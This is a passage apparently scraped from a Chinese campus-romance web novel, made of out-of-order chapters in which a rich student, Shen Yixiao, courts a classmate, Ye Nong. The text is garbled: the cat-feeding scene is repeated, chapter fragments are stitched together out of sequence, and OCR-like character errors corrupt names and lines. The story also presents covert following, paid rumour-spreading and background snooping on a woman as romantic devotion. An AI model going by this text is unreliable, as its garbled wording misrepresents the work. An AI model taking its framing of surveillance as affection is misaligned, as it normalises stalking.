虽说夜浓不怎么关注外界的人和事,可到底也在这里上了三年的大学,所以她还不至于孤陋寡闻到没听说过沈屹骁的名号。 但她也就仅仅只听说过他的名,或许是因为他极少出现在上课以外的地方,所以夜浓见过他真人的次数几乎为零。 准确来说,第一次应该就是上次在食堂。 若不是刚好有人喊出了他的名字,她还真对不上号。 食堂楼后面有一个小花园,里面藏着三四只流浪猫。 每次食堂有鱼汤,夜浓都会过来喂它们。 一只大着肚子的狸花猫在她手指的轻挠下,埋头舔着被倒在一次性饭盒里的鱼汤。 “我这个月的生活费已经用完了,没有钱给你买猫粮了,接下来这一星期,就只能委屈你跟我吃食堂喽。” 但是她语气又很快雀跃起来:“但是你放心,如果碰到有鱼的话,我一定带来给你。” 不远处,沈屹骁一边看着她用那只白皙干净的手抚着一只脏兮兮的流浪猫,一边听着她一会儿失落又一会儿雀跃的声音。 难怪打了两个饭盒的鱼汤,原来是用来喂流浪猫的。 那她自己呢,把猫喂饱了,她吃什么? 午后的学校里,人不多,沈屹骁没有跟着她太近,绕过食堂楼侧,沈屹骁远远跟在身后。 午后的阳光很晒人,不少女生都打着遮阳伞,但她却让自己笔直又细白的两条腿暴晒在太阳下。 眼看她进了超市,沈屹骁站在斜对面的金叶榆下,也就几分钟的功夫,就见她拎着一只塑料袋出来了。 黑色的塑料袋,也看不清里面都买了什么。 眼看她往女生宿舍方向走,沈屹骁便没再跟着。 一整个下午,沈屹骁都在想要怎么解决她接下来的温饱问题。 晚上,被他踢了一脚的齐祯,不计前嫌地来找他吃饭。 见他眉心蹙着,齐祯还以为他在为追人的事发愁。 “你说你,兜里揣那么多的钱是干嘛用的?吃的穿的用的,你变着花样多地送不就完事了?” 沈屹骁瞥他一眼:“所以呢,那些人追到了吗?” 齐祯嗓子里一噎:“...但是你有张帅脸啊,那些人有吗?” 沈屹骁:“......” “信我的,正好我晚上没事,我陪你去买几样贵的,明天开始,你就一天一样,变着花样地送。反正你钱多,人家送几万的,你就在后面加个零,这距离一拉开,你的优势不就显露出来了?” 沈屹骁不信他那套追人的方法。 礼物肯定要送,但不是现在。 现在,他觉得应该送点能解她燃眉之急的。 “你去给我买几袋猫粮。” 齐祯还以为自己听错了:“什么玩意?” 沈屹骁耐着性子又重复一遍:“猫粮。” “猫粮?”齐祯一双眼里写满了不可置信:“你见谁追女孩子,请人家吃猫粮的?” 沈屹骁一双冷眼射他脸上:“你可以滚了。” 齐祯没有滚,就这么跟在他身后,跟他出了校门,跟他上了车,跟他去了宠物店。 出来的时候,齐祯怀里抱着两大袋二十斤的猫粮。 “送她寝室?” 沈屹骁白了他一眼:“送我那去。” 齐祯往怀里看了眼:“你也没钱了?” 沈屹骁无语他的脑回路,“是用来喂食堂后面的流浪猫的!” 齐祯顿时一个大喘气:“你吓死我了,我还以为你比我还惨,都要开始吃猫粮了呢!” 沈屹骁瞪了他一眼:“也就你会这么想。” 猫粮解决了,但沈屹骁还是想做多手准备。 “一楼食堂不是你二舅的一个亲戚承包的吗?” 齐祯现在已经完全摸不准他的思路:“你又想干嘛?” 沈屹骁说:“从明天开始,你让食堂每天多加一份鱼汤,钱算我的。” 又是喂流浪猫又是鱼汤的。 齐祯终于听出来了:“食堂后面的流浪猫,是你家那位在喂?” 沈屹骁对他话里的称呼似乎很满意,他嘴角提笑:“和你家那位比,是不是很不一样?” 齐祯可一点都没被比下去:“先把人追到再说吧,别脸一转,成了别人家的了。” 在沈屹骁瞬间沉下来的眼神里,齐祯见好就收:“开个玩笑。” 玩笑归玩笑,回去的路上,齐祯给他提了个醒:“马上就要放假了,你再这么磨磨唧唧的,出了校门,你可就不能像现在这么近水楼台了。” 沈屹骁当然知道。 “下周她会主动来找我的。” 大学2 。 就在夜浓眉心越感越紧,刚要张口质问的时候,一直''盯’着她看的人先开口了- "你能不能小点声? 夜浓微微一怔,刚想说“我说什么了吗”的时候,身后卷来一阵凉风,她下意识扭头,然后就见一个黑「黑短裤的男生叉腰,一副气急败坏的模样。 “我跑楼上找了你一圈,你倒好,在这坐着?" 沈屹骁看着齐祯的同时,视线里也盛着那张怔愣里又透着几分羞窘的脸, 这是误会他刚刚是在说她? 沈屹骁眼里闪过一瞬不易察觉的笑,“我怎么知道你是上去找我? 随着他话音落地,原本定在自己脸上的那双眼神也别开了。 眼看夜浓转过身出门,沈屹骁也下意识站起身。绕过餐桌,刚越过齐身侧,臂肘就被他住了 “跟你说话呢!" 沈屹骁把胳膊往后一抽:“有什么好说的?" 齐祯终于瞧出了他的不对劲,“你今天反常啊!" 沈屹骁警他一眼:“门没关。 齐祯条件反射就低头往自己的口口看。 他今天穿的是短裤,哪来的''门’。 齐祯几个大步追到门口,五六个台阶往下一看,顿时有种俯瞰众生的顿悟。 这厮,难怪昨天跟他打听韶观远呢,原来打的这主意。 还好意思说人家鬼鬼祟祟跟在人女孩子身后。 齐祯嘴角勾出坏笑,扯起嗓门就喊 “夜浓!" 沈屹骁顿时倒吸一口气,迅速转过身来的下一秒,夜浓也循声回头。 齐祯看笑话不嫌事大地朝她挥了挥手:“没事,刚刚忘了和你打招呼了。” 夜浓像看个精神病患似的,看了他一眼就转过了身。 在沈屹骁那双恨不得将他碎尸万段的眼神里,齐祯慢慢悠悠地踩下台阶走到他面前。 “难怪不让我还钱了呢?我刚刚要不喊她一声,你是不是还准备一路跟去人家女生宿舍?" 见他不说话,齐祯更得寸进尺了。 意味深长的一双眼,上上下下地打量着他: “我说大周末的怎么来学校了呢,还跑食堂来,”他抬手往后指了指:“你这是第一次进来吧?" 沈屹骁沉着双眼,就这么冷阴阴地看着他. 虽说他眼里警告明显,但生平第一次能掐到他软肋,齐舍不得放过。 "还真以为你两脚踏进佛门了呢,原来也有春心动的 沈屹骁抬腿就是一脚,好在齐祯反应快,往旁边一躲。 "你看你,我还没说什么呢,你就急成这样。” 沈屹晓懒得再搭理他,转身就走。 齐祯就像块膏药似的,跟在他旁边。 “你说你喜欢谁不好,喜欢她,你这不是给自己找堵吗?” 沈屹骁余光警他一眼。 齐祯忙解释:“我没别的意思啊,主要就是.…你知道咱们学校有多少人追她吗?" 沈屹骁还真不知道。 主要是他以前压根就不关注这些。 “咱不说别的,就那个韶观远,追了她两年了,一点下文没有。” 沈屹骁双手抄兜,像是随口一问:“怎么追的?" “还能怎么追,追人的招数你就算没用过,还能没听过? 不等沈屹骁去想那些招数,齐祯就在那掰着手指头给他——列举了: “吃的、喝的、花,包括去食堂吃饭给人家占位置,一个大男人,口袋里整天揣着包纸巾 “纸巾?”沈屹骁听不懂了:“追人还要纸巾?" “给人家擦嘴啊!" 沈屹骁怔了怔:“.你不是说没追上吗,没追上还能让他干这种事?齐祯给了他一记白眼:“是让人家擦,不是给人家擦!" 沈屹骁:" 当然,齐祯跟他说这些,想表达的重点是 “反正那女的挺难搞的,你还是离远点吧。 “难搞,”沈屹骁笑了,嘴角挂着抹明兄晃的嘲讽:“这话是你说的,还是韶观远说的?" 齐祯手一挥:“咱们学校哪个追过她的人不这么说。 沈屹骁嗤笑一声,语气尽是不屑:“自己没本事,却反过来说人家难搞?" 齐祯争不过他,索性顺着他话跟他唱反调:“那是,你沈大少爷一出手,还有什么追不到的人吗?" 沈屹骁懒理他的阴阳怪气:“跟韶观远说,让他别废力气了。" 齐祯愣了一下:“什么意思?" "你说什么意思?”沈屹骁讳莫如深地看了他一眼。 “你、你还真要追她啊?" 沈屹骁没说话,但无论表情还是眼神,都写着:你看我像在开玩笑? 但是齐祯也没开玩笑,“你知道自己有多少个情敌吗?" 这天之前,沈屹骁的确不知道,但是这天之后,从他开始留意之后 成群结伴去食堂的女孩子里,似乎只有她是自己。 拿着两个透明色的饭盒,刚一走进食堂,就有两个男生喊她的名字。 她却像没听见似的,目不斜视地往打饭窗口去。 每一个窗口都在排队,她不声不响地走到其中一个队伍后,刚一站稳,又有人喊她的名字 可她还是那般,充耳不闻,别说循声回头,就连眼皮都不抬一个。 齐祯反手拍在沈屹骁的胳膊上:“看见了没,理都不带理的。” 沈屹骁不觉意外:“为什么要理?" “礼貌懂不懂,人家喊你,你起码回个表情吧。 沈屹骁却不这么认为,“就这帮男的,理了,岂不是给他们脸了?" 齐祯掐着他这话,笑得一脸坏:“所以你又凭什么认为人家会理你? 见他不说话,齐祯更来劲了。 “要不要赌一把?" 「赌」最能激起男人的胜负欲。 以齐祯对他的了解,他肯定二话不说就说好,结果除了接到他一记冷眼外,还有两个冷冰冰的字眼 “无聊。” 齐祯气笑一声:“直接说你没把握不就得了?"沈屹骁的确是没什么把握,毕竟连着两次都吃了瘪。所以他改变了策略。“让你跟韶观远带的话,你带了吗?“齐祯愣了一下:“这话你让我怎么说?"他可不是个长舌头。沈屹骁抬手在他肩膀拍了拍:“那你就跟别人说。”见他一脸茫然,沈屹骁站起身:“传话这种事,还需要我教你?"齐祯不是个喜欢传话的人,但被沈屹骁这位当事人允了口,而且还收了他一笔转账,这不就等于拿人钱财替人办事?齐祯不负他所望,不过一周,学校里就开始流言四起。开始听到那些谣言的时候,夜浓只当一个笑话来听。沈屹骁追她?怎么可能,她和那位大少爷可是一句话都没有说过,既然是空穴来风,所以她压根就没有理会。没过几天,宿舍里也开始议论这事,不过室友都没有当她的面说。那天是周五,夜浓打完水回来,走到门口,刚要推门“你说,那些谣言会不会是她自己传的?“我也觉得是,不然这都半个月过去了,沈屹骁要是真在追她,不可能一点动静都没有。”“就是,之前那个刘铮追她,都能送几万一条的项链,沈屹骁那样的家世,追起人来,不得送车送房啊!“所以她故意造谣,难不成是想引起沈屹骁的注意?"门口,夜浓听笑了,手轻轻一推。刚刚还聊得热火朝天的几人,见她进来,顿时都安静地趴回到自己的桌前。但是自己被她们背后议论也不是一次两次了。“自己散播谣言很无聊,背后无中生有更无聊。”说完,她放下水瓶,拿着包出了宿舍。 谈不上心情不好,但被谣言缠身,终究还是让她心里有些屈。 但是夜浓是一个很会排解负面情绪的人,恰逢周五,她就去了离学校不远的白梨巷。 白梨巷是一条满地油垢,但却香味四溢的老街。 三十九元一个人的自助旋转火锅,夜浓点了一个鸳和一个辣锅。 她不太能吃辣,但那种被辣得全身出汗的感觉,会让她觉得很畅快。 火锅店门口有棵香樟树,沈屹骁站在树下,在指间那根点燃后只吸了一口的烟烫到了皮肤,他才收回视线, 烟掐灭之后,他径直走进火锅店。 高出椭形餐桌的运输台,将对面的人隔离开。 沈屹骁点了一份鸳鸯锅,在对面传来一声呛咳的时候,他抬了下头 然后就见对面被咳得脸涨红的人站起身,匆匆跑去了收银台。 沈屹骁歪头,视线追过去。 “老板,之前那种橙汁呢?” “那个卖完了,货还没送过来,你看看其他的。 沈屹骁就这么看着她在冷藏柜里找了一圈,以为她会退而求其次,结果却见她跑了出去。 这是去其他店买去了? 果然,没两分钟的功夫,沈屹骁就见她拿着两瓶橙汁回来 出门前微微噘着的嘴巴不仅平了下去,唇角还微微上扬。 两瓶橙汁就可以满足成这样? 沈屹骁无声失笑。 半个小时,在夜浓起身离店后,沈屹骁也站了起来,不过他没有径直出店,而是走到对面。 番茄和辣锅。 喜欢吃番茄? 沈屹骁嘴角提笑之余,又看向旁边被喝空瓶的两瓶橙汁。 看着瘦瘦的,胃倒是不小。 出了店,沈屹骁左右扭头张望了两眼。 往来人潮里,光是一个背影就能抓人眼球。 沈屹骁拾脚跟上去。 两三米宽的街两边,都是小摊。 夜浓拂着裙摆,在一个摆满各种卡通人物的小摊前蹲下。 “老板,这个多少钱?”夜浓指着一个蒙奇奇。 “八块,两个十五。” 夜浓抬起头,“四个二十五卖吗? 老板是个年轻小伙,在她仰头看过来的视线里,表情呆了两秒:“".拿、拿去吧。 他刚一说完,旁边就传来一句:“那你刚刚还卖我三十,找我五块钱。 隔着三四米远,沈屹骁偏着脸,笑得肩膀直抖。 之后,沈屹骁又跟在她身后进了一家五元店。 不到二十平的小店里,挤满了人,沈屹骁也不知道自己为什么要凑这热闹,侧身挤进去 凭着身高的优势,沈屹骁轻巧一个垂眼,就能看见她拿起并放下的每一个小物件, 梳子、发卡、小勺、贴纸. 90、大学. 平时恨不得离那些男生几米远的人,今天可好,还挎上人家的胳膊了。 沈屹骁站在原地。 忌妒像是千万只蚂蚁啃噬在他心头,让他眼底眸色沉了又沉 眼看两人依偎着走远,沈屹骁强压着跟上去的念头,转了身 来时月好景也美,同样的一条路再往回走,连风都刺眼。 沈屹骁站在齐祯的宿舍楼下,一点也没压着自己的脾气:“你给我下来。 被他吼的,齐祯手里的手机差点掉到了地上。 急匆匆跑下来,大气都没喘匀。 “怎么了这是?" 沈屹骁眸色沉的比头顶的夜幕还要深, “她有男朋友,你不知道? 齐祯瞳孔微微一震:“你听谁说的?" “我亲眼看见的!” 三年了都没听说那女的有男朋友,这人可好,刚一准备追就惨遭人家有男朋友了? 齐祯好奇心膨胀:“咱们学校的? “我哪知道!" “那你在哪看见的?" 沈屹骁一点都不想回忆二十分钟前看到的那一幕,“白梨巷。 沈屹骁脸部轮廓硬朗,一气一恼间,浑身上下透着股说不出的野劲儿, 难得见他有如此激动高亢的情绪,齐祯瞧着他那双恨不得吃人的一双眼 嘴角憋笑:“有男朋友怎么了?" 齐祯一个一个地竖起手指头:“撬墙角、横刀夺爱,棒打鸳鸯散,三个你随便选。 沈屹骁听得一时无语,默了两秒,他眉梢突然一挑:“那你就去给我查。 齐祯:"… 他是他兄弟,又不是他跟班,凭什么帮他做这种偷鸡摸狗的事儿。 但是这么好的机会,齐祯怎么可能放过:“那可就是另外的价钱了。 沈屹骁一个犹豫都没有,抬起手里的手机,指尖几个轻点后,他把屏幕亮过去:“我还可以再加一个零。 那也就是说,他干的就不是查人家男朋友的底这么简单的事了。 吗的。 之前他穷的吃不上饭的时候,也没见这么大方,如今为了个女人…. 产祯闭眼一个深呼吸后,朝他竖起大拇指:“你可真够沈屹骁的。 如数收了款,齐祯的任务也随之分配下来。 "今晚你就去她楼下蹲着。" 去女生宿舍楼下蹲点? 蹲什么? 反应过来他的用意,齐祯差点爆粗口:“难不成我在那蹲着,还能阻止得了她跟男朋友去外面开房? 沈屹骁 脚习他服跟 齐祯疼得门牙都龇出来了: “有气往人家男朋友身上撒去,你在我这横什么横!" 沈屹骁不理他的气急败坏,直接下了通牒:"二十四小时,过了这个点,你不把那男的查个底朝天,你就等着你爸来学校找你吧! 听听,这说的是人话吗? “沈屹骁,这事完了咱俩就绝交吧!” 齐祯手指着他转身的背影: 一个大男人,把绝交挂嘴上。 沈屹骁回头看他:“不用养女朋友了?" 齐祯:"…” 沈屹骁下巴往西一抬:“现在就去。 齐祯咬了咬牙:“我上去换条裤子行不行? 沈屹骁往他腿上的短裤看了眼:“五分钟?” 想到大周末的不能睡,反倒要去帮他盯梢,齐祯眼里就直冒火星子, “我去了,那你呢?" 沈屹骁凉着一双眼,声音却漫不经心:“我不缺钱。 齐祯顶了顶腮,笑了。 行,可真行。 真当他齐家没钱是吧! 五月的晚上,天虽然不热,但蚊子却不少。 齐祯蹲在二号宿舍楼大门口的路灯下,手里的烟点了一根又一根,不是烟瘾,纯粹为了驱蚊。 眼看过了十点,还不见那位始作俑者回来。 齐祯索性趁着这时间挨个打电话。 十几个电话拨出去,什么都没打听到不说,一个个还都反过来问他,夜浓的男朋友是哪个。 他要是知道,还能摊上今晚这破事? 齐祯干脆不问了,不是让他在这盯着吗? 行,那他索性就等那位当事人回来,当面问个清楚。 结果这一等就等到了凌晨一点。 把齐祯都等得没脾气了。 一不小心打了个盹,两个膝盖一歪,差点睡倒在地上, 再看一眼时间,都凌晨两点了。 也不知道那位有没有回来,如果回来了,他这后半夜是白等,如果没回来,那这个点也不会再回来了。 齐祯撑着僵硬的膝盖站起身,扬长而去。 结果刚一到宿舍楼下,某人的电话就打来了。 一旦被他先开口,自己就会处于下风失去主动权。 所以电话刚一接通,齐祯就扯着嗓子:“没回来! 虽说这段时间以来,沈屹骁白天都会在学校,但晚上他依旧回自己的公寓。不过这会儿,他人却在大门口的车里。 “你回去睡吧。 齐祯被他低软的声音听愣住:“….不、不等了?" 这个点了还没回来,今晚肯定是不会回来了。 一想到她跟别的男人在外面过夜,那些乱七八糟的画面就控制不住的往他脑子里钻。 沈屹骁闭眼靠着椅背,“回去睡吧。” 他情绪低落成这样,反倒让齐祯有点不放心了, “你在哪?" 若说自己在学校门口,那小子肯定二话不说就过来,沈吃骁现在心里烦闷得厉害,既不想让他担心,也想自己静静”在公寓。” 齐祯眉心拧着,将信将疑:“真的?” “嗯。 齐祯看向女生宿舍的方向。 可以啊那位。 这还没怎么着呢,就能拿捏住他兄弟的情绪了,这要真在一起了,还不骑他兄弟头上撒野? 宿舍也不回了,齐祯往台阶上一蹲,又开始挨个地打电话。 每到周五,室友们都会聊天聊到深夜,你一句我一句里,时不时都会带上名字,但却从来没有“夜浓”二字。虽说夜浓早已习惯,但这种不算排挤的刻意忽略,终究会让人心里不太舒服。所以每到周五,夜浓都会以回家为由不回寝室。可是相比寝室,那个家更让她觉得压抑。离白梨巷不远有个环境还不错的网吧,里面有不少的单间,夜浓经常会去凑合一晚,然后在第二天上午再回寝室。以往的周六,室友们要么会在上午出门,晚上很晚回来,要么一夜不归,直到周日下午才回。夜浓特意选在十一点的时候才回寝室,室友们果然都不在。谁知一个刷牙洗脸的功夫,夜浓刚一从阳台的卫生间里出来,三个室友竟然全都回来了。在三双眼睛齐齐看过来的视线里,夜浓眉心微蹙:“怎么了?“三个室友,就数李晓琪和她说话最少,今天却意外地最先开了口。“夜浓,你和沈屹骁.在一起了呀?"本就微感的眉心,听她这么一说,更是蹙紧夜浓第一反应不是否认,而是:“你听谁说的?李晓琪和其他两个室友相视几眼后,回得闪烁其词:“商学院都这么说,说你昨晚是在他公寓过得夜。可真是离谱,之前传他追她,现在又传她在他那过夜。重点是,今天是周六,距离昨晚也不过半天的时间,这谣言传的是不是有点快的离谱?夜浓扬唇好笑一声:“你说个名字,我也去问问。又没什么恶意。李晓琪顿时把唇抿了又抿:“我们也是好奇,没有恶意,但也绝对没安什么好心。夜浓懒得再同她说,将手里的刷牙杯和洗面奶放回桌上后,她抓着梯子扶手上了床耳边出奇的安静,夜浓闭着眼都能想到下面的三个人在用眼神交流。随着手机震动声传来,一声没有被刻意压低的“喂”声后,房间里再度陷入一阵安静里。安静到,能听见电话里是个男声。接着,一阵被刻意放轻的脚步声传来。然后,是门被轻轻带上的声音,以及被刻意压低的一句-“不是沈屹骁吗?"给李晓琪打电话的是他男朋友的朋友。无名小卒,在齐祯好一圈的打听之后才打听到的一个人。这会儿,齐祯就在这个人的旁边。在刚刚李晓琪的那句回答之前,齐祯让这个男生问的是:你知道夜浓男朋友是谁吗?李晓琪就回了一句:不是沈屹骁吗?电话开的是免提,齐祯一听她这么说,顿时翻了个白眼。“你问她,昨晚她是跟谁出去过得夜。结果免提声里传来的还是同样的话:不是沈屹骁吗?齐祯都听笑了,直接对着话筒那边嚷:“你听谁说的?“真要是和他那位兄弟过夜去了,他至于一夜不睡打听这事?听出话筒那边换了个人,李晓琪愣了一下,不过这不是重点。她和回答夜浓时一样:“商学院那边都这么说。 齐祯嗓子里一噎。哪个好事精,竟然敢这么瞎传。重点是,昨晚发生的事,这么快就在商学院那边传开了?默了会儿,齐祯突然想起来:“她回来了吗?"李晓琪整个人思路也有点乱:“谁呀?"“你说谁?”齐祯调子一提:“夜浓!""回、回来了,”说完,李晓琪才慢半拍地反应过来:“你谁啊?"齐祯懒得再回,手机挂断后往那男生怀里一扔:“听说你女朋友平时对夜浓阴阳怪气的,有这回事?对方把头摇成拨浪鼓:“她不是我女朋友,是、是我一朋友的女朋友。齐祯没功大理这其中的关系:“那你就跟你朋友说一声,以后对人家客气点。能问的人都问了,结果问出来的对象却是沈屹骁。总不能拿这三个字去交差吧!齐祯郁闷了一下午。最后实在没辙了,他索性豁出去。 “哪呢? “公司。” 短短两个字,也听不出他情绪,齐祯装腔作势地“咳”了声:“帮你问了,她没男朋友。以齐祯对他的了解,又或者逻辑性,他下一句肯定会问“那昨晚和她在一起的男人是谁?"早有准备,所以齐祯胡诌的脸不红,但心跳:“她亲戚家的孩子。在感情方面,齐祯的道德感没那么高。对他来说,有男朋友也不算事,喜欢,抢了就是。 能抢来,那说明是自己的本事。 抢不来, 那说明有缘无分。 91、大学 两天的周末一结束,周一,沈屹骁住进了学校宿舍. 齐祯闻声赶来,“你这是准备近水楼台了?" 见他盯着另一张空床位,沈屹骁一语掐灭他心里的小火苗:“想都别想。 齐祯:“… 幸亏自己没说出来,他嗤了声:“小人之心。 他转了个身,没话找话似的:“以后准备吃住都在学校了?” 沈屹骁也不理他,从并列打开的三个行李箱里,一件件地将衣服拿出来挂进衣柜。 “所以接下来你怎么打算的?" 沈屹骁拾手往门后一指。 齐祯: 他就不信撬不开他那张嘴, “听说你喜欢的那位,跟几个室友关系不太好。 不听声,但是看见他手里的动作停了一下。齐祯把嘴角的笑抿下去,继续。“听说她爸妈离婚,她——"“谁让你查她的?"-不小心就踩到了他的雷区,齐祯解释:“不是你让我查他男朋友的吗,这不就顺带着一块儿打听到了?"见他脸上有了愠色,齐祯迅速岔开话题:“晚上要不要我帮你把她约出来?"“不需要。"不用就不用, 非得说「不需要」这种伤人的字眼。看出他兴致不高,齐祯也不给自己添堵,“行,那你什么时候有需要说一声。”想到自己掏心掏肺的两天周末喂了狗,产祯心里又有点不爽。他不爽,也得让某人不爽一下,走到门口,他回头:“听说她周五晚上经常不回宿舍,然后周六回来睡一整天。他故意“啧”了声:“你说不等他话说完,被线缠着的充电器,如同子弹脱膛似的飞了过来。“啪”的一声响里,齐祯心里也跟着爽了:“晚上见。”学校现在谣言四起,走到哪都能听见沈屹骁和自己的名字绑在一起。夜浓懒得听,索性就用耳机隔离掉所有外界的声音。不理会不解释是她对待这些空穴来风无中生有的谣言一贯的态度。只是偶尔的,脑海里会闪过「沈屹骁」这三个字。偶尔的,会对这个人有些好奇,好奇- “夜浓!" 耳机里的一首歌刚好放完,夜浓循声抬头,是李晓琪,和她一起朝自己招手的还有另外一个室友 真是太阳打西边出来了,竟然会在食堂跟她打招呼。 夜浓走过去, 敷衍又不失礼貌地笑笑:“怎么了?" 李晓琪往后退了一步,把身前的位置让出来,“你站这儿来。 在她身后的队伍都快排到门口了,夜浓摇了摇头:“不用了,插队不好。 不过一个转身的功夫,李晓琪嘴角的笑也一秒平了下去。 “不识好歹。" 蒋蒋用胳膊肘碰了碰他:“你小点声。 李晓琪抱着胳膊,一脸的不屑:“不就跟人家睡了一夜吗,还真 “不就?" 又凉又淡的声音,却像一根针,扎进了李晓琪的喉咙里。 让她喉咙哽住的何止是这道声音,还有站在半米之隔的人 沈屹骁就这么垂着眉眼,看着面前这个个子不高,舌头却挺长的女生, 把李晓琪看得后脊凉气直蹿,好几个吞咽后,她才结结巴巴地开了口。 “对、对不起。" “这话不该对我说。”他声音淡得出水,可就是有一种咄咄逼人的气势 在他强势又冷漠的眼神下,李晓琪把唇抿了又抿:“我、我回头就、就跟她道歉。 周围越来越多双眼睛看过来,沈屹骁依旧站在原地,他下巴一抬:“现在就去。" 李晓琪窘红着脸,扭头往队伍后勾了勾脑袋。 “三号窗口。 说完,沈屹骁拾脚从她身旁越过。 不见他手里有饭盒,李晓琪以为他会出食堂,心里刚一窃喜,却见他走到不远处的一个餐桌前坐下。 对面两个男生见状,立马端起餐盘溜了。 李晓琪算是看出来了,今天这个歉不道,那人是不会善罢日休的。 偌大的食堂因为沈屹骁的举动,像是被分割成一水一火无法交融的两块区域 相比一到六号窗口那边嘈杂的议论声,七到十二号窗口这边的窃窃私语声就显得尤为安静。 沈屹骁抱着胳膊八风不动地坐着,极具强势的一双眼,就这么盯着李晓琪一步步往三号窗口走。 直到她走到夜浓身侧。 距离不算近,沈屹骁眯起眼角盯着夜浓脸上的表情。 有意外,但转瞬即逝后,她表情就回到了平时的淡淡然。 沈屹骁嘴角浮出笑。 挺好。 没有因为对方一句对不起,就受宠若惊的说一声没关系 随着李晓琪转过身来,夜浓那高挑的身材也极为张扬得显露在队伍中。 米七? 肯定是超过他肩膀了,就是不知道面对面地站着,额头能不能抵到他下巴。 在此之前,沈屹骁一向都对女孩子的身高无感,可随着她的出现,他对异性的喜好都因为她而有了具象。 像她这般高, 像她这般瘦,鼻子像她那般挺,眼睛像她那般大。 面对异性,也要像她这般爱搭不理 当然,他要的不是像,而是就要她。 沈屹骁站起身走过去。 这段时间,他总会隔着不远不近的距离跟在夜浓的身后。 不知是她防备心太低,还是说,周围的一切人和事都引不起她注意,这都快小半个月了,她好像一丁点都没有发现他的存在。 在不知多少双眼睛追着看的视线里,沈屹骁排在了三号窗口的队伍后, 他也不插队,拍了拍站他前面男生的肩膀,手指比划一下后,对方立马绕到身后,沈吃骁也不白占人便宜,扭头,“二楼五号窗口,点完菜报我名字就行。” 对方听了直摇头:“不用了不用了。 沈屹骁就只管把话说到,至于对方去还是不去,那他不管 接着,他又拍了拍前面的一个男生的肩膀,同样的动作同样的话,就这么一直“插队’到和夜浓只隔了一个女生。 对方怯怯回头看了他一眼,“需要我 沈屹骁一边看着他喜欢的那只乌黑的小脑袋,一边做了一个“嘘”声的手势。 明目张胆,却又小心翼翼。 他用行动破了学校的谣言,证明是自己的有心靠近。 偏偏他心心念念的那个人,塞着耳机垂着脑袋,活在自己的世界里, 眼看轮到她打饭了,沈屹骁歪头看过去。 竟然打了两个饭盒的鲫鱼汤。 这么爱吃鱼? 沈屹骁视线追着她转过身的背影。 “你饭盒呢?" 窗口里打饭师傅的声音打断了沈屹骁的思路,他说了声抱歉后,空着两手离开了队伍。 眼看都要走到食堂门口了,齐祯和另外两个男生走了进来。 站他右手边的男生没看路,直冲冲的,要不是齐祯眼疾手快地伸出胳膊挡住他路,估计能和对面的人撞个满怀 结果胳膊刚一收回去,却发现对面的人是夜浓。 齐祯眼皮一抬,然后就看见了跟在人家身后的大尾巴狼。 “沈屹骁!”他笑得焉坏:“这么巧。 在沈屹骁的猝不及防里,夜浓转过头来 生平第一次,沈屹骁体会到了做贼心虚,心脏砰砰,恨不得要从他胸腔里跳出来一样。 但他就是有一种内心动荡不安,面上却看不出丝毫端倪的本事。 目视前方地越过夜浓的肩膀走过去。在他漫不经心的眼神里,只有他自己知道,即便他瞳孔里的焦距没有对准她,可余光里却盛满她的脸走到齐祯的身边时,沈屹骁停了下脚,虽然没说话,但掌心在他肩膀上不轻不重地拍了两下。就这么把齐祯拍的,直接转身追了出去。被他丢在原地的两个朋友,双双抬起手,朝夜浓小幅度地招了招的同时,还“嗨~"了一声同样都是打招呼,但却和平时那些想和她套近乎的男生很不一样。 有一种很局促的礼貌。局促到那勉强笑着的嘴角比哭还难看,夜浓忍住笑走出去,刚好看见不远处,刚刚看都没看她一眼的人,一脚扫在那个男生的腿弯处。看着挺沉稳一人,没想到脾气还挺大。 虽说夜浓不怎么关注外界的人和事,可到底也在这里上了三年的大学,所以她还不至于孤陋寡闻到没听说过沈屹骁的名号。 但她也就仅仅只听说过他的名,或许是因为他极少出现在上课以外的地方,所以夜浓见过他真人的次数几乎为零。 准确来说,第一次应该就是上次在食堂。 若不是刚好有人喊出了他的名字,她还真对不上号。 食堂楼后面有一个小花园,里面藏着三四只流浪猫。 每次食堂有鱼汤,夜浓都会过来喂它们。 只大着肚子的狸花猫在她手指的轻挠下,埋头舔着被倒在一次性饭盒里的鱼汤。“我这个月的生活费已经用完了,没有钱给你买猫粮了,接下来这一星期,就只能委屈你跟我吃食堂喽。”但是她语气又很快雀跃起来:“但是你放心,如果碰到有鱼的话,我一定带来给你。不远处,沈屹骁一边看着她用那只白皙干净的手抚着一只脏兮兮的流浪猫,一边听着她一会儿失落又一会儿雀跃的声音。难怪打了两个饭盒的鱼汤,原来是用来喂流浪猫的。那她自己呢,把猫喂饱了,她吃什么? 午后的学校里,人不多,沈屹骁没有跟着她太近,绕过食堂楼侧,沈屹骁远远跟在身后。午后的阳光很晒人,不少女生都打着遮阳伞,但她却让自己笔直又细白的两条腿暴晒在太阳下。眼看她进了超市,沈屹骁站在斜对面的金叶榆下,也就几分钟的功夫,就见她拎着一只塑料袋出来了 黑色的塑料袋,也看不清里面都买了什么。 眼看她往女生宿舍方向走,沈屹骁便没再跟着。 整个下午,沈屹骁都在想要怎么解决她接下来的温饱问题。 晚上,被他踢了一脚的齐祯,不计前嫌地来找他吃饭。 见他眉心警着,齐祯还以为他在为追人的事发愁。 “你说你,兜里揣那么多的钱是干嘛用的?吃的穿的用的,你变着花样多地送不就完事了?" 沈屹骁警他一眼:“所以呢,那些人追到了吗?" 齐祯嗓子里一噎:“但是你有张帅脸啊,那些人有吗? 沈屹骁: “信我的,正好我晚上没事,我陪你去买几样贵的,明天开始,你就一天一样,变着花样地送。反正你钱多,人家送几万的,你就在后面加个零,这距离一拉开,你的优势不就显露出来了?" 沈屹骁不信他那套追人的方法。 礼物肯定要送,但不是现在。 现在,他觉得应该送点能解她燃眉之急的。 “你去给我买几袋猫粮。 齐祯还以为自己听错了:“什么玩意? 沈屹骁耐着性子又重复一遍:“猫粮。 “猫粮?”齐祯一双眼里写满了不可置信:“你见谁追女孩子,请人家吃猫粮的?! 沈屹骁一双冷眼射他脸上:“你可以滚了。" 齐祯没有滚,就这么跟在他身后,跟他出了校门,跟他上了车,跟他去了宠物店。 出来的时候,齐祯怀里抱着两大袋二十斤的猫粮。 “送她寝室?" 沈屹骁白了他一眼:“送我那去。" 92、大学 “下周她会主动来找我的。 齐祯都听笑了:“谁给你的自信? 他的自信,从来不需要别人给。 沈屹骁眸底含笑,扭头看了他一眼:“我自己。" 